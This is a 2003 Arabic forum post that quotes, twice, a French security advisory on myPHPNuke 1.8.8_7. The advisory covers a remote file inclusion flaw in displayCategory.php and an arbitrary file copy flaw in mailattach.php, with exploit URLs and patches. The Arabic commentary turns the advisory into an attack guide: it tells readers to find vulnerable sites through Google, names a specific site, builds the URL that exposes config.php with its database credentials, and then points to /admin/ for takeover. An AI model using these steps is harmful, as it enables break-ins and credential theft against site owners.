خالد7
03-10-2003, 10:03
myPHPNuke
*********
Developpement :
°°°°°°°°°°°°°°°
Langage : PHP بي اتش بي
Version : 1.8.8_7 اصدار
Website : http://www.myphpnuke.com
Problèmes : - Upload/Copie/Inclusions de fichiers
Developpement :
°°°°°°°°°°°°°°°
myPHPNuke est un CMS completement reconstitué mais, comme le dis son nom, basé sur PHP-Nuke.
Cette applic est touchée par deux failles importantes.
La première, une faille d'inclusion de fichiers, se touve dans le fichier gallery/displayCategory.php :
------------------------------------------
[...]
<?php
include ("$basepath/imageFunctions.php");
include ("$adminpath/fileFunctions.php");
------------------------------------------
En effet on peut voir que ni $basepath ni $adminpath ne sont définie dans le script. Il est donc possible
de les définir nous même. Ainsi, pour inclure le fichier http://sait.com/imageFunctions.php dans le fichier
http://www.sait.com/gallery/displayCategory.php, il suffira de se rendre à l'url :
http://www.sait.com/gallery/displayCategory.php?basepath=http://www.hothrd.com
Et pour y inclure le fichier http://www.saite.com/fileFunctions.php, de se rendre à l'url :
http://www.saite.com/gallery/displayCategory.php?adminpath=http://www.hothrd.com
La deuxième faille se trouve dans mailattach.php, qui, je le rappelle, a aussi posé beaucoup de problèmes au PHP-Nuke
officiel (et qui en pose encore à la date où j'écris ceci). Voici le code buggé :
-----------------------------------------------------
[...]
<?
OpenTable();
global $attachmentdir;
$attchfile = $attachmentdir.$attach1_name;
if(isset($submit) ) {
if ($attach1_name != "") {
copy("$attach1", $attchfile)
or die("Couldn't copy the file!");
echo "<script> attach();</script>";
} else {
die("No input file specified");
}
echo "<script> attach(); </script>";
} else {
?>
[...]
-----------------------------------------------------
Il faut d'abord savoir que la valeur de $attachmentdir, le dossier où est uploadé le fichier, a comme valeur '/attachments/'.
On voit dans ce code qui si $submit n'est pas vide, le fichier $attach1 est copié vers /attachments/$attach1_name.
Je rapelle que $attach1_name a une valeur attribuée à PHP, qui est le nom du fichier $attach1. Bien sûr si ça n'avait pas
été $attach1 mais $fichier1, la variable aurait été $fichier1_name.
Le gros problème c'est que cette variable peut aussi se voir attribuer une valeur par n'importe qui ! Cela implique
une faille. En effet, en plus de pouvoir uploader simplement un fichier depuis son disque dûr, on peut faires deux autres
choses. D'abord copier un fichier extérieur sur le disque dur du site web.
Par exemple, si on a le fichier http://www.saite.com/bad.txt contenant le code :
---------------
<?
echo "hop là";
?>
---------------
Et qu'on tape comme url chez la victime : http://www.saite.com/mailattach.php?submit=1&attach1=
http://www.hothrd.com/bad.txt&attach1_name=../bad.php
, le code PHP pourra être exécuté sur le serveur de cette victime à l'url http://www.saite.com/bad.php .
Mais on peut aussi se servir de cette faille pour lire des fichiers du disque dur de la victime.
Par exemple pour lire le fichier (créé à l'installation) admin/original/config.php, qui contient
toutes les infos de la DB, il suffira de taper une url du style :
http://www.saite.com/mailattach.php?submit=1&attach1=admin/original/config.php&attach1_name=DBInfos.txt
et le fichier sera accessible à l'url http://www.saite.com/attachments/DBInfos.txt
Solutions :
°°°°°°°°°°°
Un patch est disponible sur http://www.phpsecure.info.
Dans gallery/displayCategory.php, il suffit d'ajouter au tout début les lignes :
-------------------------------------------------------------------
if (isset($_REQUEST["basepath"]) OR isset($_REQUEST["adminpath"])){
die("Patched.");
}
-------------------------------------------------------------------
Qui empêche à l'utilisateur de définir lui-même ces deux variables.
Dans mailattach.php, ajouter juste après :
-------------------------
[...]
<?
OpenTable();
global $attachmentdir;
[...]
-------------------------
les lignes :
-----------------------------------------------------------------------------------------------------------------------------------------------------------
if (isset($_REQUEST["attach1_type"]) OR isset($_REQUEST["attach1_name"]) OR ereg("/",$attach1) OR ereg("\.\.",$attach1) OR ereg(".php",$attach1_name) ){
die("Patched.");
}
-----------------------------------------------------------------------------------------------------------------------------------------------------------
Credits :
°°°°°°°°°
Auteur : frog-m@n
E-mail : leseulfrog@hotmail.com
Website : http://www.phpsecure.info
Date : 10/09/03
JJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJ JJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJ
المهم
التطبيق + وبحث عشوائي ..تمام
أذهب إلى أي محرك بحث منثل جوجل
وأكتب
myPHPNuke
لنفترض ليقت الموقع هذا
http://www.neorangesiam.com
اكتب بعد الموقع
/mailattach.php?submit=1&attach1=admin/original/config.php&attach1_name=../D
BInfos.txt
ليضهر بهذا الشكل
http://www.neorangesiam.com/mailattach.php?submit=1&attach1=admin/original/config.php&attach1_name=../DBInfos.txt
وستجد ملف
config.php
قد تم نسخه هنا ....يعني سيضهر مكشوف ....يعني الان اليوزر والباسوورد مفتوح
تكتب بعد اسم الموقع /DBInfos.txt
وستجد اليوزر نيم والباسوورد :rolleyes:
وبعدها /admin/
وبعدها سلامتك
*********
Developpement :
°°°°°°°°°°°°°°°
Langage : PHP بي اتش بي
Version : 1.8.8_7 اصدار
Website : http://www.myphpnuke.com
Problèmes : - Upload/Copie/Inclusions de fichiers
Developpement :
°°°°°°°°°°°°°°°
myPHPNuke est un CMS completement reconstitué mais, comme le dis son nom, basé sur PHP-Nuke.
Cette applic est touchée par deux failles importantes.
La première, une faille d'inclusion de fichiers, se touve dans le fichier gallery/displayCategory.php :
------------------------------------------
[...]
<?php
include ("$basepath/imageFunctions.php");
include ("$adminpath/fileFunctions.php");
------------------------------------------
En effet on peut voir que ni $basepath ni $adminpath ne sont définie dans le script. Il est donc possible
de les définir nous même. Ainsi, pour inclure le fichier http://sait.com/imageFunctions.php dans le fichier
http://www.sait.com/gallery/displayCategory.php, il suffira de se rendre à l'url :
http://www.sait.com/gallery/displayCategory.php?basepath=http://www.hothrd.com
Et pour y inclure le fichier http://www.saite.com/fileFunctions.php, de se rendre à l'url :
http://www.saite.com/gallery/displayCategory.php?adminpath=http://www.hothrd.com
La deuxième faille se trouve dans mailattach.php, qui, je le rappelle, a aussi posé beaucoup de problèmes au PHP-Nuke
officiel (et qui en pose encore à la date où j'écris ceci). Voici le code buggé :
-----------------------------------------------------
[...]
<?
OpenTable();
global $attachmentdir;
$attchfile = $attachmentdir.$attach1_name;
if(isset($submit) ) {
if ($attach1_name != "") {
copy("$attach1", $attchfile)
or die("Couldn't copy the file!");
echo "<script> attach();</script>";
} else {
die("No input file specified");
}
echo "<script> attach(); </script>";
} else {
?>
[...]
-----------------------------------------------------
Il faut d'abord savoir que la valeur de $attachmentdir, le dossier où est uploadé le fichier, a comme valeur '/attachments/'.
On voit dans ce code qui si $submit n'est pas vide, le fichier $attach1 est copié vers /attachments/$attach1_name.
Je rapelle que $attach1_name a une valeur attribuée à PHP, qui est le nom du fichier $attach1. Bien sûr si ça n'avait pas
été $attach1 mais $fichier1, la variable aurait été $fichier1_name.
Le gros problème c'est que cette variable peut aussi se voir attribuer une valeur par n'importe qui ! Cela implique
une faille. En effet, en plus de pouvoir uploader simplement un fichier depuis son disque dûr, on peut faires deux autres
choses. D'abord copier un fichier extérieur sur le disque dur du site web.
Par exemple, si on a le fichier http://www.saite.com/bad.txt contenant le code :
---------------
<?
echo "hop là";
?>
---------------
Et qu'on tape comme url chez la victime : http://www.saite.com/mailattach.php?submit=1&attach1=
http://www.hothrd.com/bad.txt&attach1_name=../bad.php
, le code PHP pourra être exécuté sur le serveur de cette victime à l'url http://www.saite.com/bad.php .
Mais on peut aussi se servir de cette faille pour lire des fichiers du disque dur de la victime.
Par exemple pour lire le fichier (créé à l'installation) admin/original/config.php, qui contient
toutes les infos de la DB, il suffira de taper une url du style :
http://www.saite.com/mailattach.php?submit=1&attach1=admin/original/config.php&attach1_name=DBInfos.txt
et le fichier sera accessible à l'url http://www.saite.com/attachments/DBInfos.txt
Solutions :
°°°°°°°°°°°
Un patch est disponible sur http://www.phpsecure.info.
Dans gallery/displayCategory.php, il suffit d'ajouter au tout début les lignes :
-------------------------------------------------------------------
if (isset($_REQUEST["basepath"]) OR isset($_REQUEST["adminpath"])){
die("Patched.");
}
-------------------------------------------------------------------
Qui empêche à l'utilisateur de définir lui-même ces deux variables.
Dans mailattach.php, ajouter juste après :
-------------------------
[...]
<?
OpenTable();
global $attachmentdir;
[...]
-------------------------
les lignes :
-----------------------------------------------------------------------------------------------------------------------------------------------------------
if (isset($_REQUEST["attach1_type"]) OR isset($_REQUEST["attach1_name"]) OR ereg("/",$attach1) OR ereg("\.\.",$attach1) OR ereg(".php",$attach1_name) ){
die("Patched.");
}
-----------------------------------------------------------------------------------------------------------------------------------------------------------
Credits :
°°°°°°°°°
Auteur : frog-m@n
E-mail : leseulfrog@hotmail.com
Website : http://www.phpsecure.info
Date : 10/09/03
JJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJ JJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJ
المهم
التطبيق + وبحث عشوائي ..تمام
أذهب إلى أي محرك بحث منثل جوجل
وأكتب
myPHPNuke
لنفترض ليقت الموقع هذا
http://www.neorangesiam.com
اكتب بعد الموقع
/mailattach.php?submit=1&attach1=admin/original/config.php&attach1_name=../D
BInfos.txt
ليضهر بهذا الشكل
http://www.neorangesiam.com/mailattach.php?submit=1&attach1=admin/original/config.php&attach1_name=../DBInfos.txt
وستجد ملف
config.php
قد تم نسخه هنا ....يعني سيضهر مكشوف ....يعني الان اليوزر والباسوورد مفتوح
تكتب بعد اسم الموقع /DBInfos.txt
وستجد اليوزر نيم والباسوورد :rolleyes:
وبعدها /admin/
وبعدها سلامتك